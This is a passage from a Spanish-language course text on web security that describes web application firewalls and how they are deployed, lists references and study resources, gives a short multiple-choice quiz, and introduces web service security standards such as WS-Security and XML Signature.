» Distribución de carga: el proxy puede distribuir la carga entre varios servidores
web. En ese caso puede ser necesario reescribir la URL de cada página web
(traducción de la URL externa a la URL interna correspondiente, según en qué
servidor se encuentre la información solicitada).
» Caché de contenido estático: un proxy inverso puede descargar de trabajo a los
servidores web almacenando contenido estático como imágenes u otro contenido
gráfico. También puede almacenar contenido generado dinámicamente pero que
pueda ser en alguna medida reutilizable.
Firewalls de aplicación. Además de implementar firewalls de red en la defensa

perimetral de la red se pueden implantar firewalls de capa de aplicación como:
» Firewall de aplicaciones web.

» Firewall de bases de datos.
» Firewall XML para servicios web.
» Herramientas de protección de vulnerabilidades en tiempo real que ofrecen ya varias
empresa como Fortity HP (security scope) o IBM(appscan standard edition IAST).

Firewalls de aplicaciones web
Para garantizar la seguridad de una aplicación web, el mecanismo más eficaz es mediante
la prevención estableciendo prácticas de programación segura para evitar
vulnerabilidades en el código de la aplicación validando los campos de entrada y de salida
de la aplicación.
No obstante, es difícil afirmar que esta tarea pueda alcanzar un nivel de perfección del
100 % y no queden vulnerabilidades en el código. Para tener un nivel más de defensa de
acuerdo con los principios de seguridad de profundidad y diversidad en la defensa se
puede complementar la defensa de la aplicación de varias formas además de las defensas
perimetrales a nivel de red y de las plataformas y sus sistemas operativos de cuyo estudio
se ocupan otras asignaturas:
» Firewalls de aplicaciones web.

» Soluciones de software en tiempo real. (ver apartado 2.10).
Los firewalls de aplicaciones web que se interponen entre el cliente web y el servidor
web analizando los mensajes de la capa de aplicación para detectar violaciones en la
programación de la política de seguridad restringiendo el acceso a ciertos puertos o
servicios según lo configure el administrador.
Examinan peticiones y respuestas encapsuladas en los protocolos HTTP, SOAP, XML-

RPC y capas de servicios web. Pueden efectuar validaciones de tipo whitelist,
blacklist o una combinación de ambos tipos. Se pueden configurar aplicando diferentes
políticas de filtrado y pueden tener la característica de aprender de tráfico del pasado
como realimentación. Tener políticas depuradas que minimicen el número de falsos
positivos y negativos es una tarea complicada, necesita de una acertada programación de
pruebas que permitan comprobar que no se ve afectada la funcionalidad ni el
rendimiento.
Los firewalls de aplicaciones web permiten conexiones SSL para lo cual ha de instalarse
en ellos una copia de la clave privada del servidor de aplicaciones que permita descifrar
los datos a analizar. Posteriormente se pueden enviar los datos al servidor cifrados o en
texto claro.

Cuando detecta un patrón de ataque o no redirige las peticiones al servidor de

aplicaciones o termina la conexión directamente o a través de otro dispositivo (router o
cortafuegos de red) al cual notifica la petición de bloqueo.
Hay soluciones en el mercado tanto software como hardware:
» WebDefend – Breach.
» ModSecurity - Open Source.
» SecureSphere – Imperva.
» Application Security Manager - F5.
» Citrix Application Firewall – Citrix.
» Web Application Controller – Barracuda.
Los firewalls de aplicaciones web permiten los siguientes modos de conexión

(dependiendo del fabricante):
» Proxy inverso: suele ser el modo más habitual de conexión. El dispositivo examina
todo el tráfico de red bloqueándolo si detecta algún ataque o reenviando la petición al
servidor. Si detecta un ataque lo registra. Se configura publicando la dirección de la
interfaz externa del cortafuegos para redirigir el tráfico al servidor de aplicaciones.
Para tener redundancia se pueden poner 2 dispositivos.

» Modo pasivo: se instala de forma que recibe un duplicado del tráfico vía network
tap, de forma que pueda ser analizado y detectar ataques pero sin posibilidad de
bloquear.
» Modo bridge: se instala de modo transparente de forma que se comporta como un

switch de nivel 2 sin dirección IP. Esta forma de conexión podría permitir instalar un
solo dispositivo sin cortar la comunicación con el servidor en caso de fallo si se instala
una tarjeta de red dual con bypass aunque se pierde toda posibilidad de filtrado.
» Embebido: basado en host e instalan en el propio servidor como un plugin en el

propio servidor. Esta modalidad ha de ser bien estudiada ya que puede tener
incidencia en el rendimiento del servidor de aplicaciones.
A modo de resumen sobre los requisitos que debe cumplir un dispositivo de este tipo
(WASC):
» Hay que analizar el mercado y ver qué dispositivos se adaptan mejor a los requisitos
de seguridad y disponibilidad de la instalación.
» Se debería instalar en modo de alta disponibilidad ante fallos mediante 2 dispositivos.
» Se debe hacer un estudio del impacto en el rendimiento.
» Se deben probar las configuraciones de filtrado de forma que no impacten en la
funcionalidad de las aplicaciones siendo a la vez eficaz en cuanto a la detección de
patrones de ataque. Son deseables siempre filtrados de lista blanca (whitelist)
permitiendo sólo tráfico conocido como aceptable aunque implica un mayor estudio
de la aplicación complicaciones en cuanto a mantenimiento si la aplicación sufre
muchos cambios.
» Hay que estudiar la forma y el nivel de detalle de registro de detecciones y bloqueos
de forma que estén conformes con los requisitos de formato exigidos.
» Hay que gestionar y administrar los dispositivos con protocolos de conexión seguros.

4.4. Referencias
Acunetix + Acusensor. Recuperado (3 de mayo de 2013) en, http://www.acunetix.com/
Application security manager. Recuperado (3 de mayo de 2013) en,

http://www.f5.com/
Appscan Standard. Recuperado (3 de mayo de 2013) en, http://www-

01.ibm.com/software/awdtools/appscan/standard/features/?S_CMP=wspace&S_CMP
=wspace
Balzarotti, D., Cova, M., Felmetsger, V., Jovanovic, V., Kirda, E., Kruegel, C. y Vigna, G.
(2008). Saner: composing static and dynamic analysis to validate sanitization in web
applications. Santa Bárbara: University of California.
Bermejo, J. R. y Díaz, G. (2003). Static analysis of source code security: assessment of

tolos against samate test. Information and software technology. Estados Unidos:
Elsevier.
Cenzic Vulnerability scanner. Recuperado (3 de mayo de 2013) en,

http://www.cenzic.com/
Chess, B. y West, J. (2007). Secure programming with static analysis. Nueva Jersey:
Pearson Education.
Cifuentes, C. y Fraboulet, A. (1997). Intraprocedural static slicing of binary executables.

Software maintenence. Italy: IEEE.
Citrix application firewall. Recuperado (3 de mayo de 2013) en,

https://www.citrix.com/
Cousot, P. y Cousot, R. (1977).Abstract interpretation: a unified lattice model for static

analysis of programs by construction or approximation os fixpoints.New York: ACM
Press.

Detlefs, D., Nelson, G. y Saxe, J. B. (2005). Simplify: a theorem prover for program
checking. Nueva York: ACM.
Emerson, E. A. (2008). The beginning of model checking: a personal perspective. USA:

University of Texas.
Findbugs. Recuperado (3de mayo de 2013) en, http://findbugs.sourceforge.net/
Gaucher, R. y Black, P. Samate project, scanners de vulnerabilidades. Recuperado (3 de

mayo de 2013) en, https://samate.nist.gov/Main_Page.html
Graff, M. G. Secure coding. Th estate of the practice. Recuperado (12 de febrero de 2016)
en, http://markgraff.com/mg_writings/SC_2001_public.pdf
Hanov, S. (2005). Static analysis of binary executables. Canadá: Unisersity of Waterloo.
HP web inspect real time. Recuperado (3 de mayo de 2013) en,

http://www8.hp.com/us/en/software-
solutions/software.html?compURI=1341991#!&tab=TAB2
Lam, M., Livshits, B. y Waley, J. (2008). Security web applications with static and
dynamic information flow tracking. Nueva York: ACM.
Livshits, B. (2006). Doctoral dissertation:improving software security with precise

static and runtime analysis. USA: University Stanford.
McGraw, G. (2006). Software security: building security. Estados Unidos: Addison

Wesley Professional.
Moskewicz, M. W. (2001). Chaff: engineering an efficient SAT solver. Princeton:

Princeton University.
O´Donoghue, D., Leddy, A., Power, J. y Waldron, J. (2002). Bigram analysis of Java
bytecode sequencesPPPJ´02/ire´02 proceedings of the inaugural conference on the
principles and practice of programming, 2002 and proceedings of the second workshon
on intermediate representation engineering for cirtual machines. Ireland: National
University of Ireland Maynooth.

Paros. Vulnerability scanner. Recuperado (3 de mayo de 2013) en,

http://www.parosproxy.org/
SecureSphere. Recuperado (3 de mayo de 2013) en, http://www.imperva.com/
Sipser, M. (2005). Introduction on the theory os computation. Nueva York: Course

technology.
Stuttard, D. y Pinto, M. (2008).The web application hacker´s handbook: discovering

and exploiting security flaws. Indiana: Wiley publishing.
Turing, A. (1936). The halting problem. Recuperado (07 de junio de 2015)en,

https://es.wikipedia.org/wiki/Problema_de_la_parada
Veracode static analysis. Recuperado (3 de mayo de 2013) en,

http://www.veracode.com/products/static-analysis-sast/static-code-analysis
WASC. Web application security statistics. Recuperado (6de mayo de 2013) en,
http://projects.webappsec.org/w/page/13246989/Web%20Application%20Security%2
0Statistics
Web application controller. Recuperado (3 de mayo de 2013) en,

http://www.barracudanetworks.com
Webdefend. Recuperado (3 de mayo de 2013) en, http://www.breach.com
Websinpect. Vulnerability scanner. Recuperado (3 de mayo de 2013) en,

https://www.fortify.com/products/web_inspect.html
Wassermann, G. (2008). Dynamic test input generation for web applications.

California: University of California.

Lo + recomendado
Análisis de seguridad de las aplicaciones web
Como se puede llevar a cabo el análisis de seguridad de las aplicaciones web mediante
herramientas semi-automáticas de distinto tipo de forma que se puedan combinar y
complementar para cubrir toda la superficie de ataque de una aplicación en un tiempo
razonable.

No dejes de leer…
SAST vs DASD
El proyecto abierto de WASC presenta estadísticas comparativas muy interesantes sobre

análisis de seguridad de aplicaciones web realizadas tanto con herramientas de análisis
estático de caja blanca como dinámicas de caja negra.

0Statistics
Hp fortify security center, whitehat sentinel
Soluciones comerciales de seguridad integradas que ofrecen soluciones y herramientas

de seguridad de caja blanca y de caja negra: SAST – DASD – RAST (LAST), necesarias
para realizar un análisis de seguridad eficaz en un tiempo razonable permitiendo
incrementar a la vez el conocimiento que se tiene de la aplicación con vistas a abordar la
solución de los problemas de seguridad encontrados.

https://www.whitehatsec.com/sentinel_services/sentinel_services.html

No dejes de ver…
NIST
Principios básicos para la implantación del concepto continuous monitoring del NIST.

https://www.youtube.com/watch?v=q_CTKrXA6GM
https://www.youtube.com/watch?v=ZZFMKgEjCkI
ZAP
Vídeos tutoriales de la herramienta OWASP ZAP.

https://code.google.com/p/zaproxy/wiki/Videos
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://www.youtube.com/playlist?list=PLEBitBW-Hlsv8cEIUntAO8st2UGhmrjUB

+ Información
A fondo
OWASP testing guide v4
Guía de análisis de la seguridad de aplicaciones web del proyecto OWASP.

https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf
Evaluación de DAST y SAST
El consorcio abierto WASC pone a nuestra disposición su proyecto sobre los criterios
para evaluación de herramientas DAST y SAST para análisis de la seguridad de las
aplicaciones web.

0Scanner%20Evaluation%20Criteria

WASC
El consorcio abierto WASC pone a nuestra disposición su proyecto sobre los criterios
para evaluación de cortafuegos que se pueden utilizar en la protección online de las
aplicaciones web mediante la creación de reglas de protección que actúan sobre los
puertos más utilizados por estas aplicaciones

http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%2
0Evaluation%20Criteria
Open web application security project (OWASP)


WASC
Página del web application security consortium, una organización sin ánimo de lucro
formada por un grupo internacional de expertos profesionales de la industria y
representantes de organizaciones que producen software libre y ampliamente acordados
estándares de seguridad de mejores prácticas para la world wide web.

NIST
Esta página reúne un amplio conocimiento, guías, recursos y proyectos sobre la

implementación de la seguridad del software de aplicaciones, sistemas operativos, bases
de datos y redes de comunicaciones entre otros.

http://csrc.nist.gov/publications/PubsSPs.html

CNI CCN CERT
Sitio del CERT del Centro criptológico nacional del CNI. Información sobre ciberdefensa
y guías STIC.

https://www.ccn-cert.cni.es/
Bibliografía
Cannings, R., Dwivedi, H. y Lackey, Z. (2008). Hacking exposed web applications.

Estados Unidos: McGraw Hill.
NIST SP 800-137. Continuous monitoring implementation. Recuperado en,

http://csrc.nist.gov/publications/nistpubs/800-137/SP800-137-Final.pdf
Scambray, J., Liu, V. y Sima, C. (2010). Hacking exposed web applications 3. Estados
Unidos: McGraw Hill.
Stuttard, D. y Pinto, M. (2011). The web application hacker´s handbook: discovering

and exploiting security flaws. Canadá: Wiley Publishing.
Sullivan, B. y Liu, V. (2011). Web application security, a beginner´s guide. Estados

Unidos: McGraw Hill.
Swanson, M., Bowen, P., Whol, A., Gallup, D. Lynes, D.Contingency planning guide for
federal information systems. Recuperado en,
http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-
2010.pdf

Tracy, M. Jansen, W., Scarfone, K. y Winograd, T. (2007). Guidelines on securing public

web servers. Recuperado en, http://csrc.nist.gov/publications/nistpubs/800-44-
ver2/SP800-44v2.pdf

Test
1. ¿Cómo se denominan las herramientas de análisis de seguridad estáticas?

A. SAST.
B. DAST.
C. IAST.
2. ¿Cómo se denominan las herramientas de análisis de seguridad dinámicas de caja

negra?
A. SAST.
B. DAST.
C. IAST.
3. ¿Cómo se denominan las herramientas de análisis de seguridad dinámicas de caja

blanca?
A. SAST.
B. DAST.
C. IAST.
4. Señalar la afirmación correcta en cuanto a herramientas de análisis de la seguridad

SAST.
A. Las herramientas SAST no cubren todo en código de la aplicación.
B. Las herramientas SAST tienen falsos negativos y falsos positivos.
C. Las herramientas SAST no pueden analizar código ejecutable.

5. Señalar la afirmación falsa:

A. Las herramientas DASD encuentran menos vulnerabilidades que las de tipo
SAST.
B. Las herramientas de tipo DASD no pueden encontrar ciertos tipos
vulnerabilidades ya que realizan un análisis sintáctico de la aplicación.
C. El análisis DASD solo puede testear las partes de la aplicación accesibles
externamente.
6. Señalar la afirmación falsa:

A. Las herramientas de análisis de tipo RAST no suelen tener falsos positivos.
B. Las herramientas RAST se pueden utilizar como firewalls de aplicaciones web
de tipo software.
C. Las herramientas de tipo RAST normalmente no tienen impacto en el
rendimiento.
D. Las herramientas RAST pueden detectar únicamente, bloquear o sanear la
petición.
7. El concepto de monitorización continua se trata en:

A. NIST SP 800 137.
B. NIST SP 800 34.
C. NIST SP 800 44.
8. ¿Qué tipos de firewall de aplicación se pueden instalar?

A. FW aplicaciones web.
B. FM xml.
C. FW SGBD SQLI.
9. Los firewalls de aplicaciones web se pueden instalar de varias formas:

A. Reverse proxy.
B. Modo transparente.
C. Modo pasivo.

10. Respecto a las variantes de instalación de los firewalls de aplicaciones web señala
las afirmaciones correctas:
A. La configuración en modo proxy inverso es la menos deseable.
B. No se debe proporcionar redundancia en la configuración con DOS WAF.
C. No pueden efectuar validaciones de tipo whitelist.
D. Blacklist consiste en mantener una base de datos de firmas de ataques mientras
que whitelist consiste en tener un modelo de tráfico aceptado entre la aplicación y
el cliente.

Seguridad de los servicios web
[5.2] Introducción a la seguridad de los servicios web
[5.3] Funciones y tecnologías de la seguridad de los servicios web
TEMA
Seguridad de los servicios web
Esquema
TEMA 5 – Esquema
SERVICIOS WEB
Arquitectura
Dimensiones de seguridad
Requisitos de seguridad
Amenazas y riesgos
FUNCIONES DE SEGURIDAD
Autenticación SEGURIDAD ONLINE

TEST
Gestión de identidad y relación de confianza Monitorización y auditoría
Evaluación de la
Autorización y control de acceso Disponibilidad
seguridad SW
Confidencialidad e integridad Seguridad servicio
descubrimiento
Protección online:
Seguridad SOA
Firewalls XML

Ideas clave
Los principios de diseño de las aplicaciones distribuidas basadas en servicios web tienen
su origen en lo que se denomina Arquitectura orientada a servicios (SOA). Como
ejemplos de esta arquitectura se pueden nombrar tecnologías tan conocidas como RPC,
RMI, CORBA o DCOM.
Los servicios web se pueden definir como un conjunto de aplicaciones o de tecnologías

con capacidad para interoperar en la web. Estas aplicaciones o tecnologías intercambian
datos entre sí con el objetivo de ofrecer unos servicios. En este tema se analizan las
amenazas y riesgos que pueden sufrir los servicios web y la correcta implementación
de las contramedidas necesarias para contrarrestarlas y tener un funcionamiento lo
más seguro posible. Es necesario, previo al despliegue y en todo momento, conocer el
estado real de la seguridad de los servicios web desplegados en una organización, para lo
cual hay que conocer los métodos y herramientas disponibles para evaluar su
seguridad.
5.2. Introducción a la seguridad de los servicios web
Los servicios web como se estudió en el tema 1 tienen su origen en lo que se denomina
Arquitectura orientada a servicios (SOA). Como ejemplos de esta arquitectura se
pueden nombrar tecnologías tan conocidas como RPC, RMI, CORBA o DCOM. Los
servicios web se pueden definir como un conjunto de aplicaciones o de tecnologías con
capacidad para interoperar en la web. Estas aplicaciones o tecnologías intercambian
datos entre sí con el objetivo de ofrecer unos servicios.

Los proveedores ofrecen sus servicios como procedimientos remotos y los usuarios
solicitan un servicio llamando a estos procedimientos a través de la web (ver figura
siguiente).
Fuente: http://www.w3c.es/Divulgacion/GuiasBreves/ServiciosWeb
Estos servicios proporcionan mecanismos de comunicación estándares entre diferentes

aplicaciones que interactúan entre sí para presentar información dinámica al
usuario.
Para proporcionar interoperabilidad y extensibilidad entre estas aplicaciones y que al

mismo tiempo sea posible su combinación para realizar operaciones complejas es
necesaria una arquitectura de referencia estándar.
Para la comunicación entre las diferentes entidades o aplicaciones que actúan como
consumidores de servicios o proveedores de los mismos, los servicios web emplean un
protocolo denominado SOAP que tiene estructura XML (ver figura de abajo):
» Una envoltura.
» Una cabecera con datos descriptivos.
» Un body o contenido.

Estructura de los mensajes

Fuente: http://www.w3c.es/Divulgacion/GuiasBreves/ServiciosWeb
Arquitectura servicios web
La arquitectura más simple de los servicios web se representa en la figura siguiente,

donde existe una entidad de registro de los servicios disponibles (Broker), donde un
servicio de descripción universal, descubrimiento e integración (UDDI) proporciona un
mecanismo estándar para registrar y encontrar servicios web. La comunicación entre
consumidor y proveedor se realiza mediante el protocolo Simple object access
protocol (SOAP) intercambiando mensajes con estructura XML. Este protocolo
permite realizar intercambios de información entre diversas aplicaciones situadas en
entornos que están descentralizados y se encuentran distribuidas. Los diferentes
mensajes codificados en XML se integran dentro de mensajes SOAP.
Web service description language (WSDL) es el estándar que se utiliza para describir
un servicio web. Está basado en XML y permite especificar cómo deben representarse
los parámetros, tanto de entrada como de salida, en una invocación de tipo externo al
servicio.

Permite comprender cómo operar con el servicio web a los diferentes clientes:
Arquitectura de servicios web
Elementos y dimensiones de la seguridad SW
Las diferentes entidades que intervienen en la prestación de uno o varios servicios web
determinados pueden estar ubicados en cualquier parte en Internet y se instalan en
servidores de aplicaciones similares a los de las aplicaciones web con las que comparten
muchas de sus características. Las medidas de seguridad han de extremarse teniendo en
mente todos los elementos de la seguridad:
» Identificación y autenticación.
» Autorización.
» Confidencialidad.
» Integridad.
» No repudio.
» Privacidad.

Para ello hay que asegurar todas aquellas partes de los servicios web que constituyen sus
dimensiones de seguridad, es decir, los elementos de seguridad deben garantizarse
a través de las dimensiones de seguridad de tiene un entorno de servicios web:
» Los mensajes que se intercambian entre entidades.

» Los recursos de los servicios.
» Negociación entre servicios que por ejemplo faciliten el descubrimiento automático
entre servicios.
» Relaciones de confianza entre entidades para establecimiento de los servicios de
autenticación y autorización que se requieran.
» Propiedades de seguridad.
Requisitos y especificaciones de seguridad SW
Cualquier software, incluidos los servicios web, deben satisfacer los requisitos de
rendimiento, coste, facilidad de uso y seguridad. Ejemplos de posibles requisitos
de software seguros son la corrección y la disponibilidad. En la figura de abajo se
muestra un modelo de seguridad de servicios web que refleja por capas cuáles son los
estándares de seguridad de referencia. Las capas inferiores son las de red de nivel 3,
pasando por la de transporte y por último de aplicación.
En la figura se muestran las dimensiones de seguridad relacionadas con los requisitos de

seguridad y las especificaciones o estándares de seguridad que pueden implementarse
para cumplir dichos requisitos. Cada dimensión puede tener varios requisitos que a su
vez pueden hacer uso de varios estándares de seguridad para implementar la seguridad
de los mismos.

Se deben cumplir requisitos como:
» Implementar una política de seguridad que determine qué requisitos de seguridad

se deben cumplir y cómo.
» Control de acceso. Autenticación y autorización.
» Registro seguro para cuestiones de auditoría.
» Contratos de negocio que faciliten el descubrimiento entre servicios.
» Disponibilidad de los servicios.
» Privacidad de los datos, cifrado y firma de los mensajes o de partes del mismo para
garantizar la característica de seguridad de extremo a extremo embebiendo la
privacidad en el propio mensaje.
» Seguridad extremo-a-extremo. Cuando se ejecuta un servicio es necesario
garantizar la seguridad durante todo el recorrido que efectúan los mensajes. Es
importante disponer de un contexto de seguridad único y que incluya el canal de
comunicación. Para conseguirlo es necesario aplicar diversas operaciones de carácter
criptográfico sobre la información en el origen. De esta manera se evita una
dependencia con la seguridad de que se configure por debajo de la capa de aplicación
y se garantiza los servicios de seguridad.
Seguridad extremo a extremo

Fuente: https://msdn.microsoft.com/en-us/library/ff648318.aspx#WSSecurityStandards

En la figura siguiente se puede observar un mapeo entre dimensiones de seguridad,

requisitos de seguridad y de las especificaciones disponibles más importantes para
implementar dichos requisitos de seguridad.
Dimensiones, requisitos y especificaciones de seguridad de SW. NIST SP 800-95

Otra visión de especificaciones de seguridad para alcanzar los requisitos de seguridad se

presenta en el cuadro de la figura de abajo, a través de las capas de comunicación del
protocolo TCPIP:
» SSL/TLS.
» IPSEC.
» Cifrado XML.
» Firma XML.
» Control de acceso SAML o XACML.
» WS-Security.
» WS-policy.
Especificación de seguridad para servicios web. NIST SP800-95

Organización y estándares de seguridad SW
» Consorcio world wide web (W3C). La W3C nace con un objetivo claro, ser un
foro de discusión abierto y fomentar la interoperabilidad en la evolución técnica que
se produce en el mundo web. En un periodo de tiempo menor a diez años se han
generado más de cincuenta especificaciones técnicas que están orientadas a la
estandarización de la infraestructura web. En cuanto a SW ha desarrollado XML
encryption, XML digital signature y XML key management system
(XKMS).
» OASIS (Organization for the advancement of structured information standards).

Es un organismo global muy centrado en temas de comercio electrónico. Es un
organismo sin ánimo de lucro que trata de establecer estándares de forma abierta y
mediante procesos ligeros aplicados por sus miembros, tratando temas referentes a la
seguridad en servicios web desarrollado especificaciones como SAML, XACML.
» IBM/Microsoft/Verisign/RSA Security. Mediante un proceso de colaboración

entre las principales compañías dentro del ámbito IT, siendo encabezadas por
Microsoft e IBM se han propuesto una serie de especificaciones acerca de cómo
afrontar la seguridad en los servicios web. Dentro de este conjunto de especificaciones
se encuentra la especificación WS-Security estandarizada por OASIS.
Amenazas, riesgos y vulnerabilidades SW
Las vulnerabilidades que pueden tener los servicios web junto con las posibles
deficiencias de implementación de mecanismos de seguridad adecuados y suficientes
pueden posibilitar la materialización de amenazas convirtiéndose en ataques.

Las principales amenazas y riesgos a que se enfrentan los servicios web son:
» Alteración de mensajes. Un atacante inserta, elimina o modifica la información

dentro de un mensaje para engañar al receptor.
» Pérdida de la confidencialidad. Información dentro de un mensaje se da a
conocer a una persona no autorizada.
» Mensajes falsificados. Mensajes ficticios que el atacante intenta que se piense que
se envían desde un remitente válido.
» Man in the middle. Una tercera persona se pone entre el emisor y el proveedor y
reenvía los mensajes de manera que los dos participantes no son conscientes, lo que
permite al atacante ver y modificar todos los mensajes.
» Spoofing. Un atacante construye y envía un mensaje con credenciales de tal manera
que parece ser de un alguien autorizado.
» Forged claims. Un atacante construye un mensaje con credenciales falsas que
aparecen válidas para el receptor.
» Repetición del mensaje. Un atacante reenvía un mensaje enviado previamente.
» Repetición de partes del mensaje. Un atacante incluye porciones de uno o más
mensajes enviados previamente en un nuevo mensaje.
» Denegación de servicio. Un atacante hace que el sistema consuma recursos de
forma desproporcionada, de tal manera que las solicitudes válidas no se pueden
procesar.

Los servicios web pueden tener casi los mismos tipos de vulnerabilidades que tienen
las aplicaciones web y otras añadidas debido a sus propias características que posibilitan
ataques de:
» XSS.
» SQLI.
» Path traversal.
» Information disclosure.
» Format string.
» Buffer overflow.
» Escalada de privilegios.
» Parameter tampering.
» Command injection.
» XML Injection.
» Soap array abuse.
» Xquery injection.
» Xpath injection.
» XML External entities.
» XML ATTRIBUTE BLOWUP
5.3. Funciones y tecnologías de la seguridad de los servicios web
Para mitigar todos los posibles ataques contra seguridad de los servicios web hay que
aplicar funciones y tecnologías de seguridad correspondientes a los estándares de
seguridad, introducidas en el apartado anterior. El objetivo es cumplir con los requisitos
de seguridad que deben satisfacer los servicios web. Muchos de los conceptos de
seguridad usados en las aplicaciones web son la base para entender la seguridad de los
servicios web. A continuación se introducen las especificaciones de seguridad más
adecuadas para implementar los requisitos de seguridad de los SW como:
» Política de seguridad.
» Confidencialidad e integridad.
» Sistemas de gestión de identidades: autenticación, autorización.
» Monitorización.
» Disponibilidad.
» Seguridad en el servicio de descubrimiento.

Para definir e implementar la política de seguridad en las conversaciones que tienen

lugar entre un conjunto de servicios web determinados se pueden utilizar las siguientes
especificaciones de seguridad:
» WS-Policy. Es la especificación encargada de delimitar las diferentes políticas de

seguridad aplicables a los servicios web. Establece los requisitos concretos de
seguridad que un conjunto de servicios web determinado acuerdan implementar.
» WS-SecurityPolicy. Establece cómo se van a implementar la seguridad de los

servicios web estableciendo política de seguridad establecida dentro de la política más
general WS-Policy. Describe la forma de embeber privacidad en las descripciones de
WS-Policy y cómo debe utilizarse WS-Security para asegurar la privacidad de partes
de los mensajes.
» P3P (Platform for privacy preferences). Es una especificación propuesta por el

consorcio de W3C con el objetivo claro de indicar la política de privacidad de los
participantes de manera estandarizada. En esta especificación se ha definido una
forma de interpretar la información referente a la privacidad. En él incluye una
recomendación para la creación de un conjunto de ficheros destinados al manejo de
políticas:
o P3P sirve para desarrollar herramientas y servicios que ofrezcan a los usuarios un
mayor control sobre la información personal que se maneja en Internet y al mismo
tiempo aumentar la confianza entre los servicios web y los usuarios.
o P3P mejora el control del usuario al colocar políticas de privacidad donde los
usuarios pueden encontrarlas en un formato en el que los usuarios pueden
entender y, lo más importante, con la posibilidad de que el usuario actúe sobre lo
que ven.
o En conclusión, P3P proporciona a los usuarios web facilidad y regularidad a la hora
de decidir si quieren o no y bajo qué circunstancia, revelar información personal.

Confidencialidad e integridad
Aunque los mecanismos de seguridad de capa de transporte se proporcionan mediante

el uso de protocolos de transporte seguros como SSL / TLS, la seguridad de la capa de
aplicación de mensajes XML todavía necesita:
» Seguridad end-to-end. Los protocolos de transporte seguro pueden asegurar la

seguridad de los mensajes solo durante la transmisión, debido a que se reciben y
procesan los mensajes a través de intermediarios, la comunicación de extremo a
extremo segura no es posible si estos intermediarios no son completamente
confiables.
» Independencia de transporte. Incluso si todos los enlaces de comunicación son

seguros y los intermediarios son seguros, la autenticidad del emisor del mensaje debe
ser traducida a otro protocolo de transporte seguro a lo largo de la ruta del mensaje.
Esto puede ser tedioso y complejo, lo que puede dar lugar a violaciones de seguridad.
Es importante hacer frente a los problemas de seguridad en la capa de aplicación de
forma independiente de las capas de transporte para proporcionar seguridad de
extremo a extremo implementando cifrado y firma directamente en los mensajes
o partes de los mismos.
» Seguridad de los mensajes almacenados. Una vez que se recibe una transmisión
y es descifrada la seguridad de capa de transporte no protege los datos contra accesos
ilegales y alteraciones. En situaciones en las que se almacenan los mensajes y luego
son remitidos es necesaria la seguridad de la capa de aplicación.
A continuación se describen las tecnologías que pueden ser aprovechadas para

mejorar la confidencialidad y la integridad de los servicios web. Esto incluye tanto
la seguridad de sesión / nivel de transporte (es decir, SSL / TLS) como la seguridad a
nivel de aplicación que por ejemplo se puede proporcionar a través de WS-Security
mediante XML-signature, XML-encription y XKMS.

Estas especificaciones pueden aplicarse a través de enfoques centralizados o distribuidos

mediante Gateways XML, los cuales serán tratados en el tema siguiente:
» XML Digital signature. Establecido por W3C, tiene como objetivo crear una serie
de mecanismos que permitan la creación y manejo de firmas digitales basadas en el
lenguaje XML. XML Signature es el estándar de firma desarrollado para establecer
un esquema que permite interpretar el resultado obtenido de las firmas digitales y
aplicarlas sobre los datos. Dentro del esquema se contempla la integridad de los datos,
el no repudio de las transacciones y criterios de autenticación sobre la transmisión.
XML Signature permite firmar parcialmente el código XML y no obliga a que la firma
se aplique a la totalidad de un documento. Además permite firmar diferentes tipos de
recursos dentro de estos fragmentos de código como: datos XHTML, datos en
formatos binarios y datos en formatos en XML nativo. La validación de la firma
requiere que el objeto que fue firmado sea accesible. La firma XML indica la
localización del objeto original firmado. Estas localizaciones pueden ser referenciadas
por una URI con la firma XML.
» XML Encryption. Esta especificación de W3C permite cifrar el mensaje entero o

solamente partes del mismo, proporcionando seguridad de extremo a extremo de
forma independiente a la seguridad de transporte mediante SSL-TLS (https).
» XKMS. Desarrollado por el W3C, está orientado a la obtención de información acerca

de claves y certificados. Permite manejar los procesos de registro y revocación del
servicio. Mediante el uso de este protocolo se puede intercambiar y registrar claves
públicas. Está compuesto de dos elementos importantes: la información (X-KISS) y el
registro (X-RKSS) de la clave pública. Se definen los dos estándares como:
o XML Key information service specification (X-KISS). Tiene como

objetivo crear protocolos para el procesamiento de la información asociada a las
claves de una firma XML y el contenido de las claves, ya sean públicas o privadas,
de los datos.
o XML Key registration service specification (X-KRSS). Esta especificación

está dirigida a registrar un conjunto de claves que permiten realizar gestiones sobre
la arquitectura pública y privada. Su objetivo primordial es ofrecer una gestión
global de los procesos de intercambio de claves.

» WS-Security. La especificación WS-Security describe la forma de asegurar los

servicios web en el nivel de los mensajes, en lugar de en el nivel del protocolo de
transferencia o en el de la conexión. Para ello tiene como objetivo principal describir
la forma de firmar y de encriptar mensajes de tipo SOAP. Las soluciones en el nivel de
transporte actuales, como SSL/TLS, proporcionan un sólido cifrado y autenticación
de datos punto a punto, aunque presentan limitaciones cuando un servicio intermedio
debe procesar o examinar un mensaje.
Por ejemplo un gran número de organizaciones implementan un corta fuegos

(firewall) que realiza un filtrado en el nivel de la aplicación para examinar el tráfico
antes de pasarlo a una red interna.
Si un mensaje debe pasar a través de varios puntos para llegar a su destino, cada punto
intermedio debe reenviarlo a través de una nueva conexión SSL. En este modelo el
mensaje original del cliente no está protegido mediante cifrado puesto que atraviesa
servidores intermedios y para cada nueva conexión SSL que se establece se realizan
operaciones de cifrado adicionales que requieren una gran cantidad de programación.
El estándar WS-Security se basa en estándares y certificaciones digitales para dotar a

los mensajes SOAP de los criterios de seguridad necesarios. Se definen cabeceras y
usa XML Signature para el manejo de firmas en el mensaje. La encriptación de la
información la realiza mediante XML Encryption. Hace uso del intercambio de
credenciales de los clientes.
WS-Security define la forma de conseguir integridad, confidencialidad y

autenticación en los mensajes SOAP. Se realiza de la siguiente manera:
o La autenticación se ocupa de identificar al llamador.

o WS-Security utiliza tokens de seguridad para mantener esta información mediante
un encabezado de seguridad del mensaje SOAP.
o La integridad del mensaje se consigue mediante firmas digitales XML que
permiten garantizar que no se han alterado partes del mensaje desde que lo firmó
el originador.
o La confidencialidad del mensaje se basa en la especificación XML Encryption y
garantiza que solo el destinatario o los destinatarios a quien va destinado el
mensaje podrán comprender las partes correspondientes.
o Se apoya en WS-Adressing para asegurar el no repudio.

» WS-Addressing. WS-Addressing ofrece seguridad de extremo a extremo a la

